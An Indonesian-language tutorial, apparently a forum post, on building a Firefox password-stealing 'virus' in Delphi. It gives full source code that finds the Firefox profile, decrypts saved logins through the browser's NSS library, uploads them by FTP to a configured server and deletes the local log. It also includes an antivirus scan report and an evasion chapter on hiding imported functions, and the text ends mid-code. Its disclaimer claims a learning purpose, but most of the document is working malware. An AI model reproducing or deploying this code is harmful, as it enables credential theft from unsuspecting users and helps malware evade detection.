- Intruduction
Kemajuan internet diindonesia mungkin saat ini sangat terasa, yang dimana indonesia mulai dipercaya oleh pihak luar buktinya baru-baru ini paypal telah membolehkan penggunaan account bank dari indonesia. Nah seiring makin berkembangnya internet ini juga maka security terhadapnyapun akan semakin rentan, yang dimana kita akan dihadapkan keberbagai masalah nyata tentang virus ( bukan virus dari indonesia lagi melainkan virus luar). Adapun virus dari luar ini sangat berkembang dan memiliki banyak fungsi dan tentu saja fungsi utamanya adalah mencuri data dari komputer kita atau menggunakan komputer kita sebagai pesuruh ( yang sering kita sebut dengan zombie). Untuk itulah saya mencoba membahas bagaimana cara membuat virus itu serta bagaimana menangkalnya (virus mencuri password).
Sebelum saya memulai tutorial ini perlu diperhatikan :
- Tutorial ini dibuat hanya untuk pembelajaran sehingga kita bisa mencegah komputer kita terjangkit oleh virus.
- Tutorial ini menjelaskan rentannya keamanan data yang tersimpan dikomputer sehingga kita bisa mencegah data kita dicuri.
- Tutorial ini menjelaskan bagaimana firefox menyimpan password kita, sehingga kita bisa mengamankannya.
- Tutorial ini menjelaskan bagaimana sebuah virus bisa tidak terdeteksi oleh antivirus.
- Saya tidak bertanggung jawab atas semua dampak yang terjadi dari tulisan ini. Untuk itu saya sangat mengharapkan nantinya virus ini hanya dijalankan dikomputer anda sendiri ( lihat tujuan nomor 1,2,3,4).
- HOW FIREFOX SAVE PASSWORD
Disini saya akan sedikit menjelaskan bagaimana firefox menyimpan password kita.
Seperti yang anda lihat digambar 1 saya mempunyai firefox dengan versi 3.5.2 nah sekarang mari kita mencoba login sebuah website. Dan saat selesai login maka akan muncul popup yang bertanya apakah anda akan save password,tidak save, dan tidak saat ini.
Nah perhatikan gambar 2 jika anda klick remember maka apa yang terjadi ??? ya tentu saja password login anda akan disave ke firefox database. Adapun lokasi dari database firefox yaitu :
Application data > Mozilla > Firefox > Profiles > Profiles path name > signons.sqlite
Yang dimana Profiles path name anda bisa melihatnya di :
Application data > Mozilla > Firefox > Profiles > profiles.ini
Bukalah profiles.ini dengan notepad maka anda akan melihat semua profile firefox anda. Apabilah terdapat hanya 1 profile maka nilai Profiles path name terdapat pada [Profile0]>path dan apabila terdapat banyak profile maka carilah profile yang memiliki default yang bernilai 1.
Contoh pada gambar 3 berarti lokasi path database firefox pada komputer saya :
Application data > Mozilla > Firefox > Profiles > r06mx720.default > signons.sqlite. Nah sekarang kita mendapatkan alamat path dari database. Berhubung pada versi 3.5 firefox menyimpan password kedatabase sqlite, berarti untuk melihat datanya kita membutuhkan tools untuk membuka database sqlite. Toolsnya banyak bertebaran diinternet tapi dalam tutorial ini saya akan menggunakan SQLiteExpert.
Pada gambar 4 terlihat pada database singons terdapat 2 tabel yaitu moz_disablehosts dan moz_logins. Berhubung kita berfocus pada password maka bukalah tabel moz_logins dan lihat datanya. Pada gambar juga terlihat hostname,encrypted username dan encrypted password. Nah ini membuktikan bahwa firefox sebenarnya mengamankan data kita dengan tidak mensave password berupa plaintext melainkan encrypted.
Pada paragraph sebelumnya kita mengambil kesimpulan bahwa firefox menyimpan username dan password berupa encrypted password. Nah pertanyaannya bagaimana kita tau encryption apa yang digunakan ? dan tentu cara bagaimana mendecryptnya? Setelah melakukan sedikit reseach and baca-baca article akhirnya saya tau bahwa firefox menggunakan nss module. Apa itu nss module ? untuk penjelasan tentang nss ini anda bisa lihat di http://www.mozilla.org/projects/security/pki/nss/ adapun tentang mengenai fungsi yang berada pada module ini ada bisa melihatnya di http://www.mozilla.org/projects/secu...functions.html, sepertinya cara kerja tentang bagaimana firefox menyimpan password cukup sampai disini. Adapun untuk lebih mendalam anda bisa mencari article atau penjelasan lansung di website mozilla. - Start Coding Virus
Setelah mengetahui bagaimana firefox save password dan juga format database dari singons.sqlite kita lansung menuju ke tahap pembuatan virus ( coding ). Untuk itu saya mengharapkan anda tau dasar-dasar dari bahasa pemograman delphi. Pada tahap ini saya akan membaginya menjadi beberapa tahap yang dimana tahap-tahapnya adalah :- SQLITE FUNCTION
Seperti yang kita ketahui bersama pada firefox versi 3.5 keatas password tersimpan dalam bentuk database sqlite, nah untuk itu kita diharuskan membuat simple sqlite wrapper. Adapun fungsi sqlite yang dibutuhkan untuk membuat sqlite wrapper ini adalah :
1. Sqlite3_open
2. Sqlite3_Prepare_v2
3. Sqlite3_column_text
4. Sqlite3_Step
5. Sqlite3_ Close
untuk penjelasan tentang fungsi diatas bisa liat di http://www.sqlite.org/cvstrac/wiki?p=SqliteWrappers
Kembali kecoding sqlite wrapper for get mozilla password maka fungsi2 sqlite dibutuhkan diload dynamically, penjelasan tentang load dynamically bisa baca di http://www.delphi-central.com/dynamicdll.aspx. Dan tahap2nya seperti ini
menyediakan variable sesuai format dari function
Code:var SQLite3_Prepare_v2 :function (db: TSQLiteDB; SQLStatement: PAnsiChar; nBytes: integer; var hStmt: TSqliteStmt; var pzTail: PAnsiChar): integer; cdecl; SQLite3_Open :function (filename: PAnsiChar; var db: TSQLiteDB): integer; cdecl; SQLite3_ColumnText:function (hStmt: TSqliteStmt; ColNum: integer): PAnsiChar; cdecl; SQLite3_Step :function (hStmt: TSqliteStmt): integer; cdecl; SQLite3_Close :function (db: TSQLiteDB): integer; cdecl;
Code:function LoadLibSqlite3(libraryName: String): Boolean; var DLLHandle: THandle; begin dllhandle:= LoadLibrary(PChar(libraryName)); if DLLHandle <> 0 then begin Result := True; @SQLite3_Open := GetProcAddress(dllhandle,pchar('sqlite3_open')); if not Assigned(@SQLite3_Open) then Result := False; @SQLite3_Prepare_v2 := GetProcAddress(dllhandle,pchar('sqlite3_prepare_v2')); if not Assigned(@SQLite3_Prepare_v2) then Result := False; @SQLite3_ColumnText := GetProcAddress(dllhandle,pchar('sqlite3_column_text')); if not Assigned(@SQLite3_ColumnText) then Result := False; @SQLite3_Step := GetProcAddress(dllhandle,pchar('sqlite3_step')); if not Assigned(@SQLite3_Step) then Result := False; @SQLite3_Close := GetProcAddress(dllhandle,pchar('sqlite3_close')); if not Assigned(@SQLite3_Close) then Result := False; end else result:= false; end;
Code:function sqlite_prepare_v2(lHandle: pointer; sStatement: AnsiString): pointer; var Stmt: pointer; utf8statement: UTF8string; NextSQLStatement: PAnsiChar; begin utf8statement := UTF8String(sStatement); sqlite3_prepare_v2(lhandle,PAnsiChar(utf8statement), Length(utf8statement),Stmt,NextSQLStatement); result:= stmt; end; function sqlite_column_text(lStatement: pointer; lCol: integer): AnsiString; begin result:= SQLite3_ColumnText(lStatement,lcol); end; function sqlite_step(lStatement: pointer): Boolean; begin result := false; if Sqlite3_step(lStatement) = 100 then result := true; end;
- Password Firefox
Pada pembahasan sebelumnya saya telah menjelaskan bagaimana firefox menyimpan password kita. Nah sekarang kita akan membuat function untuk mengambil password yang disimpan firefox yang tentu saja berupa plaintext ( bukan encrypted lagi ). Adapun tahap – tahapny yaitu :- Mengambil mozilla path dan version registry :
Pada windows semua configuration mengenai windows dan program akan disimpan di registry, nah untuk itulah kita harus membaca letak default instalan mozilla beserta version dari mozilla di registry. Adapun letak dari registry:
Version : HKEY_LOCAL_MACHINE > SOFTWARE > Mozilla > Mozilla Firefox > CurrentVersion
Path : HKEY_LOCAL_MACHINE > SOFTWARE > Mozilla > Mozilla Firefox > Version > main > Install Directory
Untuk mendapatkan nilai ini pada code kita harus membuat fungsi yang berguna mengambil nilai sesuai path yang dimasukkan adapun codenya sebagai berikut :
Code:function ReadKeyToString(hRoot:HKEY; sKey:string; sSubKey:string):string; var hOpen: HKEY; sBuff: array[0..255] of char; dSize: integer; begin result := ''; if (RegOpenKeyEx(hRoot, PChar(sKey), 0, KEY_QUERY_VALUE, hOpen) = ERROR_SUCCESS) then begin dSize := SizeOf(sBuff); RegQueryValueEx(hOpen, PChar(sSubKey), nil, nil, @sBuff, @dSize); Result := sBuff end; RegCloseKey(hOpen); end;
Code:procedure GetFFInfos; var soft,moz,fire: string; begin soft:= 'S'+'O'+'F'+'T'+'W'+'A'+'R'+'E'+'\'; moz:= 'M'+'o'+'z'+'i'+'l'+'l'+'a'; fire:= 'F'+'i'+'r'+'e'+'f'+'o'+'x'; version := ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire, 'CurrentVersion'); FireFoxPath:= ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire+'\' + version + '\Main', 'Install Directory') + '\'; end;
- Main Function untuk mendapatkan firefox password
Seperti yang kita ketahui sebelumnya bahwa firefox menggunakan fungsi yang terdapat pada nss module untuk mengenecrypt passwordnya, nah decrypt merupakan kebalikan dari encrypt jadi kita membutuhkan fungsi yang terdapat dalam nss module juga dalam hal ini nss3.dll.
Fungsi – fungsi yang berasal dari nss3.dll yang kita butuhkan adalah sebagai berikut :
- NSS_Init
- NSSBase64_DecodeBuffer
- PK11_GetInternalKeySlot
- PK11_Authenticate
- PK11SDR_Decrypt
- NSS_Shutdown
- PK11_FreeSlot
kesemua fungsi diatas keterangannya anda bisa lihat lansung pada website mozilla : http://www.mozilla.org/projects/secu...functions.html
Sekarang kita telah mengetahui fungsi yang digunakan serta letak path dari password itu untuk itu saya akan menjelaskan tahap – tahap dari fungsi ini :- Meload library function yang berada dalam nss3.dll , berhubung library nss3.dll menggunakan library lainnya jadi kita harus meload terlebih dahulu library yang terkait yaitu : mozcrt19.dll, nspr4.dll, plc4.dll, plds4.dll, nssutil3.dll, softokn3.dll, sqlite3.dll.
- Meload library function yang terdapat pada sqlite3.dll menggunakan fungsi LoadLibSqlite3 yang telah ktia buat.
- Membuka profile.ini yang berada pada Application data > Mozilla > Firefox > Profiles > profiles.ini
- Membaca profiles.ini dan menentukan default profilepathname.
- Membuka database singons.sqlite yang berada pada path Application data > Mozilla > Firefox > Profiles > profilepathname > signons.sqlite.
- Membuka table moz_logins dan mengambil nilai column 1,6,7.
- Decrypt encrypted username dan password
- Beralih ke baris berikutnya sampai tak ditemukan lagi baris pada tabel moz_logins.
Code:function mozillapassword:string; type TSECItem = packed record SECItemType: dword; SECItemData: pchar; SECItemLen: dword; end; PSECItem = ^TSECItem; var NSSModule: THandle; hToken: THandle; NSS_Init: function(configdir: pchar): dword; cdecl; NSSBase64_DecodeBuffer: function(arenaOpt: pointer; outItemOpt: PSECItem; inStr: pchar; inLen: dword): dword; cdecl; PK11_GetInternalKeySlot: function: pointer; cdecl; PK11_Authenticate: function(slot: pointer; loadCerts: boolean; wincx: pointer): dword; cdecl; PK11SDR_Decrypt: function(data: PSECItem; result: PSECItem; cx: pointer): dword; cdecl; NSS_Shutdown: procedure; cdecl; PK11_FreeSlot: procedure(slot: pointer); cdecl; ProfilePath: array [0..MAX_PATH] of char; ProfilePathLen: dword; FirefoxProfilePath: pchar; MainProfile: array [0..MAX_PATH] of char; MainProfilePath: pchar; EncryptedSECItem: TSECItem; DecryptedSECItem: TSECItem; database: pointer; lStatement : pointer; KeySlot: pointer; username,password:string; begin LoadLibrary(pchar(FirefoxPath + 'mozcrt19.dll')); LoadLibSqlite3(FirefoxPath + 'sqlite3.dll'); LoadLibrary(pchar(FirefoxPath + 'nspr4.dll')); LoadLibrary(pchar(FirefoxPath + 'plc4.dll')); LoadLibrary(pchar(FirefoxPath + 'plds4.dll')); LoadLibrary(pchar(FirefoxPath + 'nssutil3.dll')); LoadLibrary(pchar(FirefoxPath + 'softokn3.dll')); NSSModule := LoadLibrary(pchar(FirefoxPath + 'nss3.dll')); @NSS_Init := GetProcAddress(NSSModule, pchar('NSS_Init')); @NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, pchar('NSSBase64_DecodeBuffer')); @PK11_GetInternalKeySlot := GetProcAddress(NSSModule, pchar('PK11_GetInternalKeySlot')); @PK11_Authenticate := GetProcAddress(NSSModule, pchar('PK11_Authenticate')); @PK11SDR_Decrypt := GetProcAddress(NSSModule, pchar('PK11SDR_Decrypt')); @NSS_Shutdown := GetProcAddress(NSSModule, pchar('NSS_Shutdown')); @PK11_FreeSlot := GetProcAddress(NSSModule, pchar('PK11_FreeSlot')); OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hToken); ProfilePathLen := MAX_PATH; ZeroMemory(@ProfilePath, MAX_PATH); GetEnvironmentVariable('APPDATA',ProfilePath,ProfilePathLen); FirefoxProfilePath := pchar(profilePath +'\Mozilla\Firefox\profiles.ini'); GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, FirefoxProfilePath); MainProfilePath := pchar(profilePath + '\Mozilla\Firefox\' + mainProfile + '\' + 'signons.sqlite'); SQLite3_Open(pansichar(UTF8String(MainProfilePath)),database); lStatement:= sqlite_prepare_v2(database,'select * from moz_logins'); if NSS_Init(pchar(profilePath + '\Mozilla\Firefox\' + mainProfile)) = 0 then begin KeySlot := PK11_GetInternalKeySlot; if KeySlot <> nil then begin if PK11_Authenticate(KeySlot, True, nil) = 0 then begin while sqlite_step(lStatement) do begin result := result + #13#10; result := result + 'URL : ' +sqlite_column_text(lstatement,1) + #13#10; username:= sqlite_column_text(lstatement,6); Password := sqlite_column_text(lstatement,7); NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Username), Length(Username)); PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil); Result := result + 'Username : ' + DecryptedSECItem.SECItemData + #13#10; NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Password), Length(Password)); PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil); Result := result + 'Password : ' + DecryptedSECItem.SECItemData + #13#10; Result := result + #13#10; end; end else result:= result+ 'PK11_Authenticate Failed!'; PK11_FreeSlot(KeySlot); end else result:= result+ 'PK11_GetInternalKeySlot Failed!'; NSS_Shutdown; end else result:= result+ 'NSS_Init Failed!'; SQLite3_Close(database); end;
- Function Tambahan
Sekarang kita membuat function tambahan yaitu function untuk mengirimkan log password yang telah didapatkan ke ftp server beserta function untuk mendapatkan computername.
Code:function sendfiletoftp(host,username,pass,localfilepath,serverpath : string):boolean; var hopen, hconnect: pointer; begin result := false; hopen := internetopen('update', 1, nil, nil,$10000000); if hopen <> nil then begin hConnect := InternetConnect (hOpen, pchar(host), 21, pchar(username), pchar(pass), 1, $08000000, 0); if hconnect <> nil then begin ftpputfile(hconnect, pchar(localfilepath), pchar(serverpath),$00000001, 0); result := true; end; internetclosehandle(hConnect); end; internetclosehandle(hopen); end; function PC():String; var CompName: Array [0 .. 256] of char; size: DWORD; begin size := 256; GetComputerName(Compname, size); Result := CompName; end;
- Main Program
Main program adalah program utama yang nantinya akan memanggil function yang telah kita buat. Pada main program ini juga akhir dari pembahasan, adapun sedikit penjelasan buat main program yaitu :- Menyediakan variable localpath yang dimana adalah alamat dari logkita nantinya.
- Menyediakan Serverpath yang diamana adalah nama logkita nantinya diftpserver.
- Mengambil firefox password dengan fungsi yang telah kita buat dan menuliskannya ke logfile.
- Mengirimkannya ke ftpserver.
- Terakhir menghapus log yang telah dikirim.
Adapun codenya sebagai berikut :
Code:localpath := 'c:\firefox.txt'; serverpath := PC+'.txt'; assign(pass, localpath); rewrite(pass); writeln(pass, '====================================='); writeln(pass, '========== SIMPLE VIRUS =========='); writeln(pass, '====================================='); getffinfos; writeln(pass, mozillapassword); writeln(pass, '====================================='); writeln(pass, '======== BY MEONG ======'); writeln(pass, '====================================='); close(pass); sendfiletoftp(ftphost,ftpusername,ftppassword,localpath,serverpath); deletefile(pchar(localpath));
Code:program Virus; uses windows,wininet; type TSQLiteDB = Pointer; TSQLiteResult = ^PAnsiChar; TSQLiteStmt = Pointer; var pass: textfile; localpath,serverpath,FireFoxPath,version:string; SQLite3_Prepare_v2 :function (db: TSQLiteDB; SQLStatement: PAnsiChar; nBytes: integer; var hStmt: TSqliteStmt; var pzTail: PAnsiChar): integer; cdecl; SQLite3_Open :function (filename: PAnsiChar; var db: TSQLiteDB): integer; cdecl; SQLite3_ColumnText:function (hStmt: TSqliteStmt; ColNum: integer): PAnsiChar; cdecl; SQLite3_Step :function (hStmt: TSqliteStmt): integer; cdecl; SQLite3_Close :function (db: TSQLiteDB): integer; cdecl; const FTPHOST = ''; // FTP HOST INFO FTPUSERNAME = ''; // FTP USERNAME INFO FTPPassword = ''; // FTP Password INFO function LoadLibSqlite3(libraryName: String): Boolean; var DLLHandle: THandle; begin dllhandle:= LoadLibrary(PChar(libraryName)); if DLLHandle <> 0 then begin Result := True; @SQLite3_Open := GetProcAddress(dllhandle,pchar('sqlite3_open')); if not Assigned(@SQLite3_Open) then Result := False; @SQLite3_Prepare_v2 := GetProcAddress(dllhandle,pchar('sqlite3_prepare_v2')); if not Assigned(@SQLite3_Prepare_v2) then Result := False; @SQLite3_ColumnText := GetProcAddress(dllhandle,pchar('sqlite3_column_text')); if not Assigned(@SQLite3_ColumnText) then Result := False; @SQLite3_Step := GetProcAddress(dllhandle,pchar('sqlite3_step')); if not Assigned(@SQLite3_Step) then Result := False; @SQLite3_Close := GetProcAddress(dllhandle,pchar('sqlite3_close')); if not Assigned(@SQLite3_Close) then Result := False; end else result:= false; end; function sqlite_prepare_v2(lHandle: pointer; sStatement: AnsiString): pointer; var Stmt: pointer; utf8statement: UTF8string; NextSQLStatement: PAnsiChar; begin utf8statement := UTF8String(sStatement); sqlite3_prepare_v2(lhandle,PAnsiChar(utf8statement),Length(utf8statement),Stmt,NextSQLStatement); result:= stmt; end; function sqlite_column_text(lStatement: pointer; lCol: integer): AnsiString; begin result:= SQLite3_ColumnText(lStatement,lcol); end; function sqlite_step(lStatement: pointer): Boolean; begin result := false; if Sqlite3_step(lStatement) = 100 then result := true; end; function ReadKeyToString(hRoot:HKEY; sKey:string; sSubKey:string):string; var hOpen: HKEY; sBuff: array[0..255] of char; dSize: integer; begin result := ''; if (RegOpenKeyEx(hRoot, PChar(sKey), 0, KEY_QUERY_VALUE, hOpen) = ERROR_SUCCESS) then begin dSize := SizeOf(sBuff); RegQueryValueEx(hOpen, PChar(sSubKey), nil, nil, @sBuff, @dSize); Result := sBuff end; RegCloseKey(hOpen); end; procedure GetFFInfos; var soft,moz,fire: string; begin soft:= 'S'+'O'+'F'+'T'+'W'+'A'+'R'+'E'+'\'; moz:= 'M'+'o'+'z'+'i'+'l'+'l'+'a'; fire:= 'F'+'i'+'r'+'e'+'f'+'o'+'x'; version := ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire, 'CurrentVersion'); FireFoxPath:= ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire+'\' + version + '\Main', 'Install Directory') + '\'; end; function mozillapassword:string; type TSECItem = packed record SECItemType: dword; SECItemData: pchar; SECItemLen: dword; end; PSECItem = ^TSECItem; var NSSModule: THandle; hToken: THandle; NSS_Init: function(configdir: pchar): dword; cdecl; NSSBase64_DecodeBuffer: function(arenaOpt: pointer; outItemOpt: PSECItem; inStr: pchar; inLen: dword): dword; cdecl; PK11_GetInternalKeySlot: function: pointer; cdecl; PK11_Authenticate: function(slot: pointer; loadCerts: boolean; wincx: pointer): dword; cdecl; PK11SDR_Decrypt: function(data: PSECItem; result: PSECItem; cx: pointer): dword; cdecl; NSS_Shutdown: procedure; cdecl; PK11_FreeSlot: procedure(slot: pointer); cdecl; ProfilePath: array [0..MAX_PATH] of char; ProfilePathLen: dword; FirefoxProfilePath: pchar; MainProfile: array [0..MAX_PATH] of char; MainProfilePath: pchar; EncryptedSECItem: TSECItem; DecryptedSECItem: TSECItem; database: pointer; lStatement : pointer; KeySlot: pointer; username,password:string; begin LoadLibrary(pchar(FirefoxPath + 'mozcrt19.dll')); LoadLibSqlite3(FirefoxPath + 'sqlite3.dll'); LoadLibrary(pchar(FirefoxPath + 'nspr4.dll')); LoadLibrary(pchar(FirefoxPath + 'plc4.dll')); LoadLibrary(pchar(FirefoxPath + 'plds4.dll')); LoadLibrary(pchar(FirefoxPath + 'nssutil3.dll')); LoadLibrary(pchar(FirefoxPath + 'softokn3.dll')); NSSModule := LoadLibrary(pchar(FirefoxPath + 'nss3.dll')); @NSS_Init := GetProcAddress(NSSModule, pchar('NSS_Init')); @NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, pchar('NSSBase64_DecodeBuffer')); @PK11_GetInternalKeySlot := GetProcAddress(NSSModule, pchar('PK11_GetInternalKeySlot')); @PK11_Authenticate := GetProcAddress(NSSModule, pchar('PK11_Authenticate')); @PK11SDR_Decrypt := GetProcAddress(NSSModule, pchar('PK11SDR_Decrypt')); @NSS_Shutdown := GetProcAddress(NSSModule, pchar('NSS_Shutdown')); @PK11_FreeSlot := GetProcAddress(NSSModule, pchar('PK11_FreeSlot')); OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hToken); ProfilePathLen := MAX_PATH; ZeroMemory(@ProfilePath, MAX_PATH); GetEnvironmentVariable('APPDATA',ProfilePath,ProfilePathLen); FirefoxProfilePath := pchar(profilePath +'\Mozilla\Firefox\profiles.ini'); GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, FirefoxProfilePath); MainProfilePath := pchar(profilePath + '\Mozilla\Firefox\' + mainProfile + '\' + 'signons.sqlite'); SQLite3_Open(pansichar(UTF8String(MainProfilePath)),database); lStatement:= sqlite_prepare_v2(database,'select * from moz_logins'); if NSS_Init(pchar(profilePath + '\Mozilla\Firefox\' + mainProfile)) = 0 then begin KeySlot := PK11_GetInternalKeySlot; if KeySlot <> nil then begin if PK11_Authenticate(KeySlot, True, nil) = 0 then begin while sqlite_step(lStatement) do begin result := result + #13#10; result := result + 'URL : ' +sqlite_column_text(lstatement,1) + #13#10; username:= sqlite_column_text(lstatement,6); Password := sqlite_column_text(lstatement,7); NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Username), Length(Username)); PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil); Result := result + 'Username : ' + DecryptedSECItem.SECItemData + #13#10; NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Password), Length(Password)); PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil); Result := result + 'Password : ' + DecryptedSECItem.SECItemData + #13#10; Result := result + #13#10; end; end else result:= result+ 'PK11_Authenticate Failed!'; PK11_FreeSlot(KeySlot); end else result:= result+ 'PK11_GetInternalKeySlot Failed!'; NSS_Shutdown; end else result:= result+ 'NSS_Init Failed!'; SQLite3_Close(database); end; function sendfiletoftp(host,username,pass,localfilepath,serverpath : string):boolean; var hopen, hconnect: pointer; begin result := false; hopen := internetopen('update', 1, nil, nil,$10000000); if hopen <> nil then begin hConnect := InternetConnect (hOpen, pchar(host), 21, pchar(username), pchar(pass), 1, $08000000, 0); if hconnect <> nil then begin ftpputfile(hconnect, pchar(localfilepath), pchar(serverpath),$00000001, 0); result := true; end; internetclosehandle(hConnect); end; internetclosehandle(hopen); end; function PC():String; var CompName: Array [0 .. 256] of char; size: DWORD; begin size := 256; GetComputerName(Compname, size); Result := CompName; end; begin localpath := 'c:\firefox.txt'; serverpath := PC+'.txt'; assign(pass, localpath); rewrite(pass); writeln(pass, '====================================='); writeln(pass, '========== SIMPLE VIRUS =========='); writeln(pass, '====================================='); getffinfos; writeln(pass, mozillapassword); writeln(pass, '====================================='); writeln(pass, '======== BY MEONG ======'); writeln(pass, '====================================='); close(pass); sendfiletoftp(ftphost,ftpusername,ftppassword,localpath,serverpath); deletefile(pchar(localpath)); end.
File Info
Report generated: 11.11.2009 at 3.17.01 (GMT 1)
Filename: Virus.exe
File size: 24576
MD5 Hash: 0b58f7c286f4b40e4e1904daddbcab03
SHA1 Hash: B70D02B2FC0613770E50C64AFA02D27607BF9FA2
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 2 on 23
Detections
a-squared - -
Avira AntiVir - TR/ATRAPS.Gen
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - Mal/Behav-053
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -
Scan report generated by
NoVirusThanks.org
Terlihat diantara 23 antivirus yang disediakan oleh novirusthanks.org hanya avira dan sophos yang berhasil mendetecnya sebagai virus. Tapi inipun mudah sekali di baypas, untuk tips nya anda bisa melihat pada bab 4. Demikianlah bab start coding, apabila ada code yang tidak dimengerti anda bisa menanyakan lansung kepada saya ( lihat article paling bawah for my information ).
- Mengambil mozilla path dan version registry :
- SQLITE FUNCTION
- Make Virus Undetect
Dari bab sebelumnya telah melakukan scan terhadap virus dan kita mendapatkan hasil 2/23 dari novirusthanks. Nah pada bab ini saya tidak akan membuat virus ini menjadi undetect karena takutnya banyak orang nantinya akan menggunakannya dengan tidak- tidak. Tapi untuk membayar janji, saya akan menjelaskan sedikit tentang itu.
Pertama kita buat simple program yang dimana kodenya :
Code:program Project1; uses windows; begin end.
Pada gambar 5 diatas kita bisa melihat semua library yang diload dan juga function-function apa yang diload pada library itu. Sekarang kita coba menambahkan function pada code kita dan lihat apa yang terjadi pada iat. Adapun saya akan menambahkan function untuk mendapatkan komputername yang dimana menggunakan function getcomputername. Code kita sekarang seperti ini :
Code:program Project1; uses windows; function PC():String; var CompName: Array [0 .. 256] of char; size: DWORD; begin size := 256; GetComputerName(Compname, size); Result := CompName; end; begin messagebox(0,pchar(pc),pchar('meong'),mb_ok); end.
Nah pada gambar 6 kita melihat sedikit perubahan pada library yang diimport yaitu terdapat tambahan user32.dll yang dimana saat kita melihat user32.dll akan beriisi nilai messageboxA. Dan juga pada library kernel32.dll yang terakhir akan terdapat tambahan function yaitu GetcomputernameA.
Demikianlah gambaran saat kita menggunakan function windows. Kesimpulan dari test ini adalah tiap fungsi windows yang kita gunakan maka alamat fungsi yang dipanggil akan disimpan diiat. Nah sesuai kesimpulan kita inilah maka bisa disimpulan juga kalau antivirus bisa saja melihat iat ini untuk mengetahui fungsi2 apa yang dipanggil dan menyimpulkannya sebagai virus atau tidak (heuristic). Pertanyan muncul, bagaimana agar fungsi yang dipanggil tidak perlu ditambahkan ke iat ? untuk itu anda bisa kembali ke penjelasan tentang load function dynamically.
pembuktian code :
Code:program Project1; uses windows; var xMessageBox :function (hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall; xGetComputerName :function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall; function PC():String; var CompName: Array [0 .. 256] of char; size: DWORD; begin size := 256; xGetComputerName(Compname, size); Result := CompName; end; begin @xMessageBox := GetProcAddress(loadlibrary('user32.dll'),'MessageBoxA'); @xGetComputerName := GetProcAddress(loadlibrary('kernel32.dll'),'GetComputerNameA'); xMessageBox(0,pchar(pc),pchar('meong'),mb_ok); end.
Pada gambar 7 terlihat bahwa library yang diload kembali ke default ( pertama ) tapi saat kita melihat function yang diload kernel32.dll terdapat tambahan loadlibraryA dan getprocaddress nah bagaimana mengakalinya ??? untuk menghilangkan ini kita bisa menggunakan alternativ getloadlibrary dan alternativ getprocaddress function by steve10120 yang codenya seperti ini :
Code:function xGetProcAddress(hFile:DWORD; szFunctionName:string):Pointer; var IDH: TImageDosHeader; INH: TImageNtHeaders; IED: IMAGE_EXPORT_DIRECTORY; pNames: Pointer; i: WORD; pFuncAddr: DWORD; x: WORD; begin Result := nil; CopyMemory(@IDH, Ptr(hFile), 64); if IDH.e_magic = IMAGE_DOS_SIGNATURE then begin CopyMemory(@INH, Ptr(hFile + DWORD(IDH._lfanew)), 248); if INH.Signature = IMAGE_NT_SIGNATURE then begin CopyMemory(@IED, Ptr(hFile + INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), 40); if IED.NumberOfFunctions > 0 then begin pNames := Pointer(hFile + DWORD(IED.AddressOfNames)); x := 0; for i := 0 to IED.NumberOfNames - 1 do begin if PChar(hFile + DWORD(pNames^)) = szFunctionName then begin CopyMemory(@pFuncAddr, Pointer(hFile + DWORD(IED.AddressOfFunctions) + x), 4); pFuncAddr := pFuncAddr + hFile; Result := Pointer(pFuncAddr); end; Inc(DWORD(pNames), 4); Inc(x, 4); end; end; end; end; end; function xLoadLibrary(lpLibFileName: PAnsiChar): HMODULE; var kernel32Addr: DWORD; pLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall; begin asm push esi mov eax,fs:[30h] mov eax,[eax+0Ch] mov esi,[eax+1Ch] lodsd mov eax,[eax+08h] mov kernel32Addr,eax pop esi end; pLoadLibrary := xGetProcAddress(kernel32Addr, 'LoadLibraryA'); Result := pLoadLibrary(lpLibFilename); end;
Code:program Project1; uses windows; var xMessageBox :function (hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall; xGetComputerName :function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall; function xGetProcAddress(hFile:DWORD; szFunctionName:string):Pointer; var IDH: TImageDosHeader; INH: TImageNtHeaders; IED: IMAGE_EXPORT_DIRECTORY; pNames: Pointer; i: WORD; pFuncAddr: DWORD; x: WORD; begin Result := nil; CopyMemory(@IDH, Ptr(hFile), 64); if IDH.e_magic = IMAGE_DOS_SIGNATURE then begin CopyMemory(@INH, Ptr(hFile + DWORD(IDH._lfanew)), 248); if INH.Signature = IMAGE_NT_SIGNATURE then begin CopyMemory(@IED, Ptr(hFile + INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), 40); if IED.NumberOfFunctions > 0 then begin pNames := Pointer(hFile + DWORD(IED.AddressOfNames)); x := 0; for i := 0 to IED.NumberOfNames - 1 do begin if PChar(hFile + DWORD(pNames^)) = szFunctionName then begin CopyMemory(@pFuncAddr, Pointer(hFile + 